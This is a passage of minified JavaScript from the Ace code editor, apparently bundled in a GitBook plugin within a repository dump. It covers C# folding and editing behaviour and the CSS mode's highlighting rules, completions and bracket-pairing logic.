f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/folding/csharp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./cstyle\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.usingRe=/^\\s*using \\S/,this.getFoldWidgetRangeBase=this.getFoldWidgetRange,this.getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=this.getFoldWidgetBase(e,t,n);if(!r){var i=e.getLine(n);if(/^\\s*#region\\b/.test(i))return\"start\";var s=this.usingRe;if(s.test(i)){var o=e.getLine(n-1),u=e.getLine(n+1);if(!s.test(o)&&s.test(u))return\"start\"}}return r},this.getFoldWidgetRange=function(e,t,n){var r=this.getFoldWidgetRangeBase(e,t,n);if(r)return r;var i=e.getLine(n);if(this.usingRe.test(i))return this.getUsingStatementBlock(e,i,n);if(/^\\s*#region\\b/.test(i))return this.getRegionBlock(e,i,n)},this.getUsingStatementBlock=function(e,t,n){var r=t.match(this.usingRe)[0].length-1,s=e.getLength(),o=n,u=n;while(++n<s){t=e.getLine(n);if(/^\\s*$/.test(t))continue;if(!this.usingRe.test(t))break;u=n}if(u>o){var a=e.getLine(u).length;return new i(o,r,u,a)}},this.getRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/csharp\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/csharp_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/csharp\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./csharp_highlight_rules\").CSharpHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/csharp\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"){var o=t.match(/^.*[\\{\\(\\[]\\s*$/);o&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){return null},this.$id=\"ace/mode/csharp\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-css.js",
    "content": "define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/css_completions\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={background:{\"#$0\":1},\"background-color\":{\"#$0\":1,transparent:1,fixed:1},\"background-image\":{\"url('/$0')\":1},\"background-repeat\":{repeat:1,\"repeat-x\":1,\"repeat-y\":1,\"no-repeat\":1,inherit:1},\"background-position\":{bottom:2,center:2,left:2,right:2,top:2,inherit:2},\"background-attachment\":{scroll:1,fixed:1},\"background-size\":{cover:1,contain:1},\"background-clip\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},\"background-origin\":{\"border-box\":1,\"padding-box\":1,\"content-box\":1},border:{\"solid $0\":1,\"dashed $0\":1,\"dotted $0\":1,\"#$0\":1},\"border-color\":{\"#$0\":1},\"border-style\":{solid:2,dashed:2,dotted:2,\"double\":2,groove:2,hidden:2,inherit:2,inset:2,none:2,outset:2,ridged:2},\"border-collapse\":{collapse:1,separate:1},bottom:{px:1,em:1,\"%\":1},clear:{left:1,right:1,both:1,none:1},color:{\"#$0\":1,\"rgb(#$00,0,0)\":1},cursor:{\"default\":1,pointer:1,move:1,text:1,wait:1,help:1,progress:1,\"n-resize\":1,\"ne-resize\":1,\"e-resize\":1,\"se-resize\":1,\"s-resize\":1,\"sw-resize\":1,\"w-resize\":1,\"nw-resize\":1},display:{none:1,block:1,inline:1,\"inline-block\":1,\"table-cell\":1},\"empty-cells\":{show:1,hide:1},\"float\":{left:1,right:1,none:1},\"font-family\":{Arial:2,\"Comic Sans MS\":2,Consolas:2,\"Courier New\":2,Courier:2,Georgia:2,Monospace:2,\"Sans-Serif\":2,\"Segoe UI\":2,Tahoma:2,\"Times New Roman\":2,\"Trebuchet MS\":2,Verdana:1},\"font-size\":{px:1,em:1,\"%\":1},\"font-weight\":{bold:1,normal:1},\"font-style\":{italic:1,normal:1},\"font-variant\":{normal:1,\"small-caps\":1},height:{px:1,em:1,\"%\":1},left:{px:1,em:1,\"%\":1},\"letter-spacing\":{normal:1},\"line-height\":{normal:1},\"list-style-type\":{none:1,disc:1,circle:1,square:1,decimal:1,\"decimal-leading-zero\":1,\"lower-roman\":1,\"upper-roman\":1,\"lower-greek\":1,\"lower-latin\":1,\"upper-latin\":1,georgian:1,\"lower-alpha\":1,\"upper-alpha\":1},margin:{px:1,em:1,\"%\":1},\"margin-right\":{px:1,em:1,\"%\":1},\"margin-left\":{px:1,em:1,\"%\":1},\"margin-top\":{px:1,em:1,\"%\":1},\"margin-bottom\":{px:1,em:1,\"%\":1},\"max-height\":{px:1,em:1,\"%\":1},\"max-width\":{px:1,em:1,\"%\":1},\"min-height\":{px:1,em:1,\"%\":1},\"min-width\":{px:1,em:1,\"%\":1},overflow:{hidden:1,visible:1,auto:1,scroll:1},\"overflow-x\":{hidden:1,visible:1,auto:1,scroll:1},\"overflow-y\":{hidden:1,visible:1,auto:1,scroll:1},padding:{px:1,em:1,\"%\":1},\"padding-top\":{px:1,em:1,\"%\":1},\"padding-right\":{px:1,em:1,\"%\":1},\"padding-bottom\":{px:1,em:1,\"%\":1},\"padding-left\":{px:1,em:1,\"%\":1},\"page-break-after\":{auto:1,always:1,avoid:1,left:1,right:1},\"page-break-before\":{auto:1,always:1,avoid:1,left:1,right:1},position:{absolute:1,relative:1,fixed:1,\"static\":1},right:{px:1,em:1,\"%\":1},\"table-layout\":{fixed:1,auto:1},\"text-decoration\":{none:1,underline:1,\"line-through\":1,blink:1},\"text-align\":{left:1,right:1,center:1,justify:1},\"text-transform\":{capitalize:1,uppercase:1,lowercase:1,none:1},top:{px:1,em:1,\"%\":1},\"vertical-align\":{top:1,bottom:1},visibility:{hidden:1,visible:1},\"white-space\":{nowrap:1,normal:1,pre:1,\"pre-line\":1,\"pre-wrap\":1},width:{px:1,em:1,\"%\":1},\"word-spacing\":{normal:1},filter:{\"alpha(opacity=$0100)\":1},\"text-shadow\":{\"$02px 2px 2px #777\":1},\"text-overflow\":{\"ellipsis-word\":1,clip:1,ellipsis:1},\"-moz-border-radius\":1,\"-moz-border-radius-topright\":1,\"-moz-border-radius-bottomright\":1,\"-moz-border-radius-topleft\":1,\"-moz-border-radius-bottomleft\":1,\"-webkit-border-radius\":1,\"-webkit-border-top-right-radius\":1,\"-webkit-border-top-left-radius\":1,\"-webkit-border-bottom-right-radius\":1,\"-webkit-border-bottom-left-radius\":1,\"-moz-box-shadow\":1,\"-webkit-box-shadow\":1,transform:{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-moz-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1},\"-webkit-transform\":{\"rotate($00deg)\":1,\"skew($00deg)\":1}},i=function(){};(function(){this.completionsDefined=!1,this.defineCompletions=function(){if(document){var e=document.createElement(\"c\").style;for(var t in e){if(typeof e[t]!=\"string\")continue;var n=t.replace(/[A-Z]/g,function(e){return\"-\"+e.toLowerCase()});r.hasOwnProperty(n)||(r[n]=1)}}this.completionsDefined=!0},this.getCompletions=function(e,t,n,r){this.completionsDefined||this.defineCompletions();var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(e===\"ruleset\"){var s=t.getLine(n.row).substr(0,n.column);return/:[^;]+$/.test(s)?(/([\\w\\-]+):[^:]*$/.test(s),this.getPropertyValueCompletions(e,t,n,r)):this.getPropertyCompletions(e,t,n,r)}return[]},this.getPropertyCompletions=function(e,t,n,i){var s=Object.keys(r);return s.map(function(e){return{caption:e,snippet:e+\": $0\",meta:\"property\",score:Number.MAX_VALUE}})},this.getPropertyValueCompletions=function(e,t,n,i){var s=t.getLine(n.row).substr(0,n.column),o=(/([\\w\\-]+):[^:]*$/.exec(s)||{})[1];if(!o)return[];var u=[];return o in r&&typeof r[o]==\"object\"&&(u=Object.keys(r[o])),u.map(function(e){return{caption:e,snippet:e,meta:\"property value\",score:Number.MAX_VALUE}})}}).call(i.prototype),t.CssCompletions=i}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new 